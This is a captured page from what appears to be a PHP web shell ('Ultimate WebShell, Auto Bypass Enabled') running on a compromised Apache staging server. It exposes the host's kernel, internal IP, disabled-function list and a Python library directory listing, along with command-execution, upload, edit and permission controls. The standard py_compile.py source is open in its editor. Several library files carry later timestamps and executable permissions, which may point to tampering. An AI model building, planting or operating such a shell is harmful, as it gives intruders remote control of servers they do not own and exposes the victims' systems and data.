WebShell Manager
Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64
Apache
Server: 172.31.9.152
Your IP: 216.73.216.236
System Info
HOME
snap
certbot
5781
usr
lib
python3.12
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-16 05:15:30
-
__phello__
Folder
-
0755
2026-07-16 05:15:30
__pycache__
Folder
-
0755
2026-07-16 05:15:30
asyncio
Folder
-
0755
2026-07-16 05:15:30
collections
Folder
-
0755
2026-07-16 05:15:30
concurrent
Folder
-
0755
2026-07-16 05:15:30
config-3.12-x86_64-linux-gnu
Folder
-
0755
2026-07-16 05:15:30
ctypes
Folder
-
0755
2026-07-16 05:15:30
curses
Folder
-
0755
2026-07-16 05:15:30
dbm
Folder
-
0755
2026-07-16 05:15:30
email
Folder
-
0755
2026-07-16 05:15:30
encodings
Folder
-
0755
2026-07-16 05:15:30
ensurepip
Folder
-
0755
2026-07-16 05:15:30
html
Folder
-
0755
2026-07-16 05:15:30
http
Folder
-
0755
2026-07-16 05:15:30
importlib
Folder
-
0755
2026-07-16 05:15:30
json
Folder
-
0755
2026-07-16 05:15:30
lib-dynload
Folder
-
0755
2026-07-16 05:15:32
logging
Folder
-
0755
2026-07-16 05:15:30
multiprocessing
Folder
-
0755
2026-07-16 05:15:30
pydoc_data
Folder
-
0755
2026-07-16 05:15:30
re
Folder
-
0755
2026-07-16 05:15:30
sqlite3
Folder
-
0755
2026-07-16 05:15:30
test
Folder
-
0755
2026-07-16 05:15:30
tomllib
Folder
-
0755
2026-07-16 05:15:30
unittest
Folder
-
0755
2026-07-16 05:15:30
urllib
Folder
-
0755
2026-07-16 05:15:30
venv
Folder
-
0755
2026-07-16 05:15:30
wsgiref
Folder
-
0755
2026-07-16 05:15:30
xml
Folder
-
0755
2026-07-16 05:15:30
xmlrpc
Folder
-
0755
2026-07-16 05:15:30
zipfile
Folder
-
0755
2026-07-16 05:15:30
zoneinfo
Folder
-
0755
2026-07-16 05:15:30
EXTERNALLY-MANAGED
File
645 B
0644
2026-06-19 12:46:00
LICENSE.txt
File
13.61 KB
0644
2026-06-19 12:46:00
__future__.py
File
5.1 KB
0644
2026-06-19 12:46:00
__hello__.py
File
227 B
0644
2026-06-19 12:46:00
_aix_support.py
File
3.93 KB
0644
2026-06-19 12:46:00
_collections_abc.py
File
31.33 KB
0644
2026-06-19 12:46:00
_compat_pickle.py
File
8.56 KB
0644
2026-06-19 12:46:00
_compression.py
File
5.55 KB
0644
2026-06-19 12:46:00
_distutils_system_mod.py
File
5.58 KB
0644
2026-06-19 12:46:00
_markupbase.py
File
14.31 KB
0644
2026-06-19 12:46:00
_osx_support.py
File
21.51 KB
0644
2026-06-19 12:46:00
_py_abc.py
File
6.04 KB
0644
2026-06-19 12:46:00
_pydatetime.py
File
89.94 KB
0644
2026-06-19 12:46:00
_pydecimal.py
File
223.85 KB
0644
2026-06-19 12:46:00
_pyio.py
File
91.4 KB
0644
2026-06-19 12:46:00
_pylong.py
File
8.83 KB
0644
2026-06-19 12:46:00
_sitebuiltins.py
File
3.05 KB
0644
2026-06-19 12:46:00
_strptime.py
File
24.04 KB
0644
2026-06-19 12:46:00
_sysconfigdata__linux_x86_64-linux-gnu.py
File
48.34 KB
0644
2026-06-19 12:46:00
_sysconfigdata__x86_64-linux-gnu.py
File
48.34 KB
0644
2026-06-19 12:46:00
_threading_local.py
File
7.05 KB
0644
2026-06-19 12:46:00
_weakrefset.py
File
5.75 KB
0644
2026-06-19 12:46:00
abc.py
File
6.38 KB
0644
2026-06-19 12:46:00
aifc.py
File
33.41 KB
0644
2026-06-19 12:46:00
antigravity.py
File
500 B
0644
2026-06-19 12:46:00
argparse.py
File
99.37 KB
0644
2026-06-19 12:46:00
ast.py
File
62.75 KB
0644
2026-06-19 12:46:00
base64.py
File
20.12 KB
0755
2026-07-16 05:15:22
bdb.py
File
31.7 KB
0644
2026-06-19 12:46:00
bisect.py
File
3.34 KB
0644
2026-06-19 12:46:00
bz2.py
File
11.57 KB
0644
2026-06-19 12:46:00
cProfile.py
File
6.4 KB
0755
2026-07-16 05:15:22
calendar.py
File
24.82 KB
0644
2026-06-19 12:46:00
cgi.py
File
33.61 KB
0755
2026-07-16 05:15:22
cgitb.py
File
12.13 KB
0644
2026-06-19 12:46:00
chunk.py
File
5.37 KB
0644
2026-06-19 12:46:00
cmd.py
File
14.52 KB
0644
2026-06-19 12:46:00
code.py
File
10.44 KB
0644
2026-06-19 12:46:00
codecs.py
File
36.01 KB
0644
2026-06-19 12:46:00
codeop.py
File
5.77 KB
0644
2026-06-19 12:46:00
colorsys.py
File
3.97 KB
0644
2026-06-19 12:46:00
compileall.py
File
20.12 KB
0644
2026-06-19 12:46:00
configparser.py
File
52.53 KB
0644
2026-06-19 12:46:00
contextlib.py
File
26.99 KB
0644
2026-06-19 12:46:00
contextvars.py
File
129 B
0644
2026-06-19 12:46:00
copy.py
File
8.21 KB
0644
2026-06-19 12:46:00
copyreg.py
File
7.44 KB
0644
2026-06-19 12:46:00
crypt.py
File
3.82 KB
0644
2026-06-19 12:46:00
csv.py
File
16 KB
0644
2026-06-19 12:46:00
dataclasses.py
File
60.31 KB
0644
2026-06-19 12:46:00
datetime.py
File
268 B
0644
2026-06-19 12:46:00
decimal.py
File
320 B
0644
2026-06-19 12:46:00
difflib.py
File
81.36 KB
0644
2026-06-19 12:46:00
dis.py
File
29.5 KB
0644
2026-06-19 12:46:00
doctest.py
File
103.98 KB
0644
2026-06-19 12:46:00
enum.py
File
79.72 KB
0644
2026-06-19 12:46:00
filecmp.py
File
9.95 KB
0644
2026-06-19 12:46:00
fileinput.py
File
15.35 KB
0644
2026-06-19 12:46:00
fnmatch.py
File
5.86 KB
0644
2026-06-19 12:46:00
fractions.py
File
37.17 KB
0644
2026-06-19 12:46:00
ftplib.py
File
34.41 KB
0644
2026-06-19 12:46:00
functools.py
File
37.23 KB
0644
2026-06-19 12:46:00
genericpath.py
File
5.44 KB
0644
2026-06-19 12:46:00
getopt.py
File
7.31 KB
0644
2026-06-19 12:46:00
getpass.py
File
5.85 KB
0644
2026-06-19 12:46:00
gettext.py
File
21.24 KB
0644
2026-06-19 12:46:00
glob.py
File
8.53 KB
0644
2026-06-19 12:46:00
graphlib.py
File
9.43 KB
0644
2026-06-19 12:46:00
gzip.py
File
24.28 KB
0644
2026-06-19 12:46:00
hashlib.py
File
9.13 KB
0644
2026-06-19 12:46:00
heapq.py
File
22.48 KB
0644
2026-06-19 12:46:00
hmac.py
File
7.54 KB
0644
2026-06-19 12:46:00
imaplib.py
File
52.43 KB
0644
2026-06-19 12:46:00
imghdr.py
File
4.29 KB
0644
2026-06-19 12:46:00
inspect.py
File
122.48 KB
0644
2026-06-19 12:46:00
io.py
File
3.5 KB
0644
2026-06-19 12:46:00
ipaddress.py
File
76.46 KB
0644
2026-06-19 12:46:00
keyword.py
File
1.05 KB
0644
2026-06-19 12:46:00
linecache.py
File
5.52 KB
0644
2026-06-19 12:46:00
locale.py
File
76.72 KB
0644
2026-06-19 12:46:00
lzma.py
File
12.97 KB
0644
2026-06-19 12:46:00
mailbox.py
File
77.06 KB
0644
2026-06-19 12:46:00
mailcap.py
File
9.11 KB
0644
2026-06-19 12:46:00
mimetypes.py
File
22.35 KB
0644
2026-06-19 12:46:00
modulefinder.py
File
23.14 KB
0644
2026-06-19 12:46:00
netrc.py
File
6.76 KB
0644
2026-06-19 12:46:00
nntplib.py
File
40.12 KB
0644
2026-06-19 12:46:00
ntpath.py
File
29.32 KB
0644
2026-06-19 12:46:00
nturl2path.py
File
2.82 KB
0644
2026-06-19 12:46:00
numbers.py
File
11.2 KB
0644
2026-06-19 12:46:00
opcode.py
File
12.87 KB
0644
2026-06-19 12:46:00
operator.py
File
10.71 KB
0644
2026-06-19 12:46:00
optparse.py
File
58.95 KB
0644
2026-06-19 12:46:00
os.py
File
38.85 KB
0644
2026-06-19 12:46:00
pathlib.py
File
49.95 KB
0644
2026-06-19 12:46:00
pdb.py
File
67.83 KB
0755
2026-07-16 05:15:22
pickle.py
File
63.38 KB
0644
2026-06-19 12:46:00
pickletools.py
File
91.66 KB
0644
2026-06-19 12:46:00
pipes.py
File
8.77 KB
0644
2026-06-19 12:46:00
pkgutil.py
File
17.85 KB
0644
2026-06-19 12:46:00
platform.py
File
42.32 KB
0755
2026-07-16 05:15:22
plistlib.py
File
27.91 KB
0644
2026-06-19 12:46:00
poplib.py
File
13.83 KB
0644
2026-06-19 12:46:00
posixpath.py
File
17.21 KB
0644
2026-06-19 12:46:00
pprint.py
File
23.59 KB
0644
2026-06-19 12:46:00
profile.py
File
22.55 KB
0755
2026-07-16 05:15:22
pstats.py
File
28.6 KB
0644
2026-06-19 12:46:00
pty.py
File
5.99 KB
0644
2026-06-19 12:46:00
py_compile.py
File
7.69 KB
0644
2026-06-19 12:46:00
pyclbr.py
File
11.13 KB
0644
2026-06-19 12:46:00
pydoc.py
File
110.44 KB
0755
2026-07-16 05:15:22
queue.py
File
11.23 KB
0644
2026-06-19 12:46:00
quopri.py
File
7.02 KB
0755
2026-07-16 05:15:22
random.py
File
33.87 KB
0644
2026-06-19 12:46:00
reprlib.py
File
6.42 KB
0644
2026-06-19 12:46:00
rlcompleter.py
File
7.64 KB
0644
2026-06-19 12:46:00
runpy.py
File
12.6 KB
0644
2026-06-19 12:46:00
sched.py
File
6.2 KB
0644
2026-06-19 12:46:00
secrets.py
File
1.94 KB
0644
2026-06-19 12:46:00
selectors.py
File
19.21 KB
0644
2026-06-19 12:46:00
shelve.py
File
8.36 KB
0644
2026-06-19 12:46:00
shlex.py
File
13.04 KB
0644
2026-06-19 12:46:00
shutil.py
File
56.76 KB
0644
2026-06-19 12:46:00
signal.py
File
2.44 KB
0644
2026-06-19 12:46:00
site.py
File
23.34 KB
0644
2026-06-19 12:46:00
smtplib.py
File
42.51 KB
0755
2026-07-16 05:15:22
sndhdr.py
File
7.27 KB
0644
2026-06-19 12:46:00
socket.py
File
36.53 KB
0644
2026-06-19 12:46:00
socketserver.py
File
27.2 KB
0644
2026-06-19 12:46:00
sre_compile.py
File
231 B
0644
2026-06-19 12:46:00
sre_constants.py
File
232 B
0644
2026-06-19 12:46:00
sre_parse.py
File
229 B
0644
2026-06-19 12:46:00
ssl.py
File
49.63 KB
0644
2026-06-19 12:46:00
stat.py
File
5.36 KB
0644
2026-06-19 12:46:00
statistics.py
File
49.05 KB
0644
2026-06-19 12:46:00
string.py
File
11.51 KB
0644
2026-06-19 12:46:00
stringprep.py
File
12.61 KB
0644
2026-06-19 12:46:00
struct.py
File
257 B
0644
2026-06-19 12:46:00
subprocess.py
File
86.65 KB
0644
2026-06-19 12:46:00
sunau.py
File
18.04 KB
0644
2026-06-19 12:46:00
symtable.py
File
10.5 KB
0644
2026-06-19 12:46:00
sysconfig.py
File
32 KB
0644
2026-06-19 12:46:00
tabnanny.py
File
11.26 KB
0755
2026-07-16 05:15:22
tarfile.py
File
111.18 KB
0755
2026-07-16 05:15:22
telnetlib.py
File
22.75 KB
0644
2026-06-19 12:46:00
tempfile.py
File
36.46 KB
0644
2026-06-19 12:46:00
textwrap.py
File
19.26 KB
0644
2026-06-19 12:46:00
this.py
File
1003 B
0644
2026-06-19 12:46:00
threading.py
File
58.71 KB
0644
2026-06-19 12:46:00
timeit.py
File
13.15 KB
0755
2026-07-16 05:15:22
token.py
File
2.42 KB
0644
2026-06-19 12:46:00
tokenize.py
File
20.72 KB
0644
2026-06-19 12:46:00
trace.py
File
28.5 KB
0755
2026-07-16 05:15:22
traceback.py
File
45.24 KB
0644
2026-06-19 12:46:00
tracemalloc.py
File
17.62 KB
0644
2026-06-19 12:46:00
tty.py
File
1.99 KB
0644
2026-06-19 12:46:00
turtle.py
File
142.93 KB
0644
2026-06-19 12:46:00
types.py
File
10.74 KB
0644
2026-06-19 12:46:00
typing.py
File
114.68 KB
0644
2026-06-19 12:46:00
uu.py
File
7.19 KB
0755
2026-07-16 05:15:22
uuid.py
File
28.96 KB
0644
2026-06-19 12:46:00
warnings.py
File
21.25 KB
0644
2026-06-19 12:46:00
wave.py
File
22.24 KB
0644
2026-06-19 12:46:00
weakref.py
File
21.01 KB
0644
2026-06-19 12:46:00
webbrowser.py
File
23.56 KB
0755
2026-07-16 05:15:22
xdrlib.py
File
5.8 KB
0644
2026-06-19 12:46:00
zipapp.py
File
7.37 KB
0644
2026-06-19 12:46:00
zipimport.py
File
27.47 KB
0644
2026-06-19 12:46:00
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Ultimate WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: py_compile.py
"""Routine to "compile" a .py file to a .pyc file. This module has intimate knowledge of the format of .pyc files. """ import enum import importlib._bootstrap_external import importlib.machinery import importlib.util import os import os.path import sys import traceback __all__ = ["compile", "main", "PyCompileError", "PycInvalidationMode"] class PyCompileError(Exception): """Exception raised when an error occurs while attempting to compile the file. To raise this exception, use raise PyCompileError(exc_type,exc_value,file[,msg]) where exc_type: exception type to be used in error message type name can be accesses as class variable 'exc_type_name' exc_value: exception value to be used in error message can be accesses as class variable 'exc_value' file: name of file being compiled to be used in error message can be accesses as class variable 'file' msg: string message to be written as error message If no value is given, a default exception message will be given, consistent with 'standard' py_compile output. message (or default) can be accesses as class variable 'msg' """ def __init__(self, exc_type, exc_value, file, msg=''): exc_type_name = exc_type.__name__ if exc_type is SyntaxError: tbtext = ''.join(traceback.format_exception_only( exc_type, exc_value)) errmsg = tbtext.replace('File "<string>"', 'File "%s"' % file) else: errmsg = "Sorry: %s: %s" % (exc_type_name,exc_value) Exception.__init__(self,msg or errmsg,exc_type_name,exc_value,file) self.exc_type_name = exc_type_name self.exc_value = exc_value self.file = file self.msg = msg or errmsg def __str__(self): return self.msg class PycInvalidationMode(enum.Enum): TIMESTAMP = 1 CHECKED_HASH = 2 UNCHECKED_HASH = 3 def _get_default_invalidation_mode(): if os.environ.get('SOURCE_DATE_EPOCH'): return PycInvalidationMode.CHECKED_HASH else: return PycInvalidationMode.TIMESTAMP def compile(file, cfile=None, dfile=None, doraise=False, optimize=-1, invalidation_mode=None, quiet=0): """Byte-compile one Python source file to Python bytecode. :param file: The source file name. :param cfile: The target byte compiled file name. When not given, this defaults to the PEP 3147/PEP 488 location. :param dfile: Purported file name, i.e. the file name that shows up in error messages. Defaults to the source file name. :param doraise: Flag indicating whether or not an exception should be raised when a compile error is found. If an exception occurs and this flag is set to False, a string indicating the nature of the exception will be printed, and the function will return to the caller. If an exception occurs and this flag is set to True, a PyCompileError exception will be raised. :param optimize: The optimization level for the compiler. Valid values are -1, 0, 1 and 2. A value of -1 means to use the optimization level of the current interpreter, as given by -O command line options. :param invalidation_mode: :param quiet: Return full output with False or 0, errors only with 1, and no output with 2. :return: Path to the resulting byte compiled file. Note that it isn't necessary to byte-compile Python modules for execution efficiency -- Python itself byte-compiles a module when it is loaded, and if it can, writes out the bytecode to the corresponding .pyc file. However, if a Python installation is shared between users, it is a good idea to byte-compile all modules upon installation, since other users may not be able to write in the source directories, and thus they won't be able to write the .pyc file, and then they would be byte-compiling every module each time it is loaded. This can slow down program start-up considerably. See compileall.py for a script/module that uses this module to byte-compile all installed files (or all files in selected directories). Do note that FileExistsError is raised if cfile ends up pointing at a non-regular file or symlink. Because the compilation uses a file renaming, the resulting file would be regular and thus not the same type of file as it was previously. """ if invalidation_mode is None: invalidation_mode = _get_default_invalidation_mode() if cfile is None: if optimize >= 0: optimization = optimize if optimize >= 1 else '' cfile = importlib.util.cache_from_source(file, optimization=optimization) else: cfile = importlib.util.cache_from_source(file) if os.path.islink(cfile): msg = ('{} is a symlink and will be changed into a regular file if ' 'import writes a byte-compiled file to it') raise FileExistsError(msg.format(cfile)) elif os.path.exists(cfile) and not os.path.isfile(cfile): msg = ('{} is a non-regular file and will be changed into a regular ' 'one if import writes a byte-compiled file to it') raise FileExistsError(msg.format(cfile)) loader = importlib.machinery.SourceFileLoader('<py_compile>', file) source_bytes = loader.get_data(file) try: code = loader.source_to_code(source_bytes, dfile or file, _optimize=optimize) except Exception as err: py_exc = PyCompileError(err.__class__, err, dfile or file) if quiet < 2: if doraise: raise py_exc else: sys.stderr.write(py_exc.msg + '\n') return try: dirname = os.path.dirname(cfile) if dirname: os.makedirs(dirname) except FileExistsError: pass if invalidation_mode == PycInvalidationMode.TIMESTAMP: source_stats = loader.path_stats(file) bytecode = importlib._bootstrap_external._code_to_timestamp_pyc( code, source_stats['mtime'], source_stats['size']) else: source_hash = importlib.util.source_hash(source_bytes) bytecode = importlib._bootstrap_external._code_to_hash_pyc( code, source_hash, (invalidation_mode == PycInvalidationMode.CHECKED_HASH), ) mode = importlib._bootstrap_external._calc_mode(file) importlib._bootstrap_external._write_atomic(cfile, bytecode, mode) return cfile def main(): import argparse description = 'A simple command-line interface for py_compile module.' parser = argparse.ArgumentParser(description=description) parser.add_argument( '-q', '--quiet', action='store_true', help='Suppress error output', ) parser.add_argument( 'filenames', nargs='+', help='Files to compile', ) args = parser.parse_args() if args.filenames == ['-']: filenames = [filename.rstrip('\n') for filename in sys.stdin.readlines()] else: filenames = args.filenames for filename in filenames: filename = filename.rstrip('\n') try: compile(filename, doraise=True) except PyCompileError as error: if args.quiet: parser.exit(1) else: parser.exit(1, error.msg) except OSError as error: if args.quiet: parser.exit(1) else: parser.exit(1, str(error)) if __name__ == "__main__": main()
Rename
Change Permissions
Common permissions: 755 (rwxr-xr-x), 644 (rw-r--r--), 777 (rwxrwxrwx)
System Information
Uname: Linux Stag-Enterprise-Staging-20-04 5.11.0-1019-aws #20~20.04.1-Ubuntu SMP Tue Sep 21 10:40:39 UTC 2021 x86_64 Software: Apache PHP Version: 7.4.3-4ubuntu2.29 Protocol: HTTP/1.1 Server IP: 172.31.9.152 Your IP: 216.73.216.236 Mail: ON Curl: ON Owner: www-data MySQL: ON Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Auto Bypass: ENABLED